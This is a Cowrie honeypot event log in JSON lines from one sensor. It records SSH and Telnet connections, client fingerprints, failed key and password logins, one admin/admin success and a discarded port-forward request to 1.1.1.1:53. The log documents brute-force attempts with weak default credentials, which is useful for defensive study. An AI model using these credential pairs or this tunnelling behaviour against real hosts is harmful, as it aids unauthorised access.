{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:f0:0d:da:ad:c5:40:8d:5f:2d:cd:1f:0c:df:34:d1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHcq4uDF/NXLuY/bDXOo1K0kt9gz6UjJ8BWZd3djWcVX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:59.300231Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:98:5b:11:f5:74:f1:c0:83:da:89:63:0e:c8:ff:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Qt+PvEViYB/mrRYY5ZdUD2y4nlYecOXAXGFIiet0UEKqPYeAJnqCQLngVI9PFQDxpsOeq1maDyyNyBYooUocfJjCQHL4rkS/RDyaZHImEWSU8XS3IFUyxkMzFCMa+wsYzvHOfFanGiudg6VAYl2IQod0uUztzeybjBqmPjWrjrophJHFFXt6FcymeMitvI4eacaUc51ruoMTW6qw5Zk4UX8wCMlyNDdr1kdjNOgL3+HbDDC2Wlevmbz+z2GdvDlTVj2nTBBDFy8OcFFHIpyZYoi+GN7eHkaPePNW1u6TQRZiVkj0KVZEkm4AxpEjgXUeEqQh3XPJ948KoK+aZdzxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:98:5b:11:f5:74:f1:c0:83:da:89:63:0e:c8:ff:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:59.604868Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:98:5b:11:f5:74:f1:c0:83:da:89:63:0e:c8:ff:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Qt+PvEViYB/mrRYY5ZdUD2y4nlYecOXAXGFIiet0UEKqPYeAJnqCQLngVI9PFQDxpsOeq1maDyyNyBYooUocfJjCQHL4rkS/RDyaZHImEWSU8XS3IFUyxkMzFCMa+wsYzvHOfFanGiudg6VAYl2IQod0uUztzeybjBqmPjWrjrophJHFFXt6FcymeMitvI4eacaUc51ruoMTW6qw5Zk4UX8wCMlyNDdr1kdjNOgL3+HbDDC2Wlevmbz+z2GdvDlTVj2nTBBDFy8OcFFHIpyZYoi+GN7eHkaPePNW1u6TQRZiVkj0KVZEkm4AxpEjgXUeEqQh3XPJ948KoK+aZdzxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:59.608851Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:51:ee:0e:ed:07:1d:c8:99:b8:03:df:0e:24:2a:3c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF2ISHEwh1eppVo1IhlXZDfZ+uvoAqss/XsO2sBItKsx","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:51:ee:0e:ed:07:1d:c8:99:b8:03:df:0e:24:2a:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:59.898924Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:51:ee:0e:ed:07:1d:c8:99:b8:03:df:0e:24:2a:3c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF2ISHEwh1eppVo1IhlXZDfZ+uvoAqss/XsO2sBItKsx","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:27:59.902817Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:8f:67:27:c8:3b:97:d9:d6:47:6e:c5:c5:c3:1f:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnuNgp3pNN3gUNhEpRI26qBei2KjBKXFORilBMgBwzYmeOi6tQfwubmKo0pQTy6wluehLLt+TBanGG/sHzNlRb6W5sSuHvbYlrNgqnjBxv2UsW77ut+KfGsWySQk6c14qCpR731r/2iq7ty5rd6RDcXU1T/sgz3khCwpJ7DZ5Cl10CbDhRs8tefxucloFGTvulXKIy9Zeo1lELGECwTAF0wLD/MGEUm22li6ExA29WTdsVNKVxuBeaB40vx3A18FMWY60idpGkw+tjIIZWJBd/CB1R8K1yfioibUjXZ6LzJAVhjNq3ThudJ95RnfuKgqA1aSe287GIiAKTABt6bjbX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:8f:67:27:c8:3b:97:d9:d6:47:6e:c5:c5:c3:1f:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:00.193870Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:8f:67:27:c8:3b:97:d9:d6:47:6e:c5:c5:c3:1f:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnuNgp3pNN3gUNhEpRI26qBei2KjBKXFORilBMgBwzYmeOi6tQfwubmKo0pQTy6wluehLLt+TBanGG/sHzNlRb6W5sSuHvbYlrNgqnjBxv2UsW77ut+KfGsWySQk6c14qCpR731r/2iq7ty5rd6RDcXU1T/sgz3khCwpJ7DZ5Cl10CbDhRs8tefxucloFGTvulXKIy9Zeo1lELGECwTAF0wLD/MGEUm22li6ExA29WTdsVNKVxuBeaB40vx3A18FMWY60idpGkw+tjIIZWJBd/CB1R8K1yfioibUjXZ6LzJAVhjNq3ThudJ95RnfuKgqA1aSe287GIiAKTABt6bjbX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:00.198240Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:00.511142Z","src_ip":"208.87.243.51","session":"3fc03ae52180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.4","message":"Connection lost after 23.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:00.948489Z","src_ip":"8.218.166.49","session":"26aaa78003a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57196,"dst_ip":"10.17.0.5","dst_port":22,"session":"90352c799b5b","protocol":"ssh","message":"New connection: 8.218.166.49:57196 (10.17.0.5:22) [session: 90352c799b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:10.435732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:10.440851Z","src_ip":"8.218.166.49","session":"90352c799b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52088,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f5da178b172","protocol":"ssh","message":"New connection: 8.218.166.49:52088 (10.17.0.5:22) [session: 4f5da178b172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:25.105062Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48488,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a316136019a","protocol":"ssh","message":"New connection: 8.218.166.49:48488 (10.17.0.5:22) [session: 7a316136019a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:25.327632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:25.332861Z","src_ip":"8.218.166.49","session":"7a316136019a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48500,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e93f4350834","protocol":"ssh","message":"New connection: 8.218.166.49:48500 (10.17.0.5:22) [session: 1e93f4350834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:31.177907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:28:31.181972Z","src_ip":"8.218.166.49","session":"1e93f4350834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:04.296894Z","src_ip":"8.218.166.49","session":"7a316136019a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:10.437584Z","src_ip":"8.218.166.49","session":"1e93f4350834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49704,"dst_ip":"10.17.0.5","dst_port":22,"session":"f81bc0208e0c","protocol":"ssh","message":"New connection: 8.218.166.49:49704 (10.17.0.5:22) [session: f81bc0208e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:15.220704Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:28.362035Z","src_ip":"8.218.166.49","session":"90352c799b5b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:29.460349Z","src_ip":"8.218.166.49","session":"f81bc0208e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:29.464036Z","src_ip":"8.218.166.49","session":"f81bc0208e0c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:40.650012Z","src_ip":"8.218.166.49","session":"4f5da178b172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:40.850398Z","src_ip":"8.218.166.49","session":"4f5da178b172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19234,"dst_ip":"10.17.0.5","dst_port":22,"session":"a08d8287ab48","protocol":"ssh","message":"New connection: 87.251.64.176:19234 (10.17.0.5:22) [session: a08d8287ab48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:41.484108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:41.488639Z","src_ip":"87.251.64.176","session":"a08d8287ab48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:41.584853Z","src_ip":"87.251.64.176","session":"a08d8287ab48","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:41.874195Z","src_ip":"87.251.64.176","session":"a08d8287ab48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:41.973403Z","session":"a08d8287ab48","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:42.071620Z","src_ip":"87.251.64.176","session":"a08d8287ab48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:42.306323Z","src_ip":"87.251.64.176","session":"a08d8287ab48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:29:48.794474Z","src_ip":"8.218.166.49","session":"7a316136019a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:10.045698Z","src_ip":"8.218.166.49","session":"1e93f4350834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:10.440966Z","src_ip":"8.218.166.49","session":"90352c799b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"108.9","message":"Connection lost after 108.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:14.273435Z","src_ip":"8.218.166.49","session":"7a316136019a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:25.114944Z","src_ip":"8.218.166.49","session":"4f5da178b172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"118.7","message":"Connection lost after 118.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:29.912946Z","src_ip":"8.218.166.49","session":"1e93f4350834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:39.007620Z","src_ip":"8.218.166.49","session":"f81bc0208e0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"86.0","message":"Connection lost after 86.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:41.241422Z","src_ip":"8.218.166.49","session":"f81bc0208e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.21.148.84","src_port":18750,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fcf1ecc9f8f","protocol":"telnet","message":"New connection: 211.21.148.84:18750 (159.203.135.109:23) [session: 0fcf1ecc9f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:30:49.069407Z"}
{"eventid":"cowrie.session.closed","duration":14.247086763381958,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:31:03.316384Z","src_ip":"211.21.148.84","session":"0fcf1ecc9f8f","protocol":"telnet"}
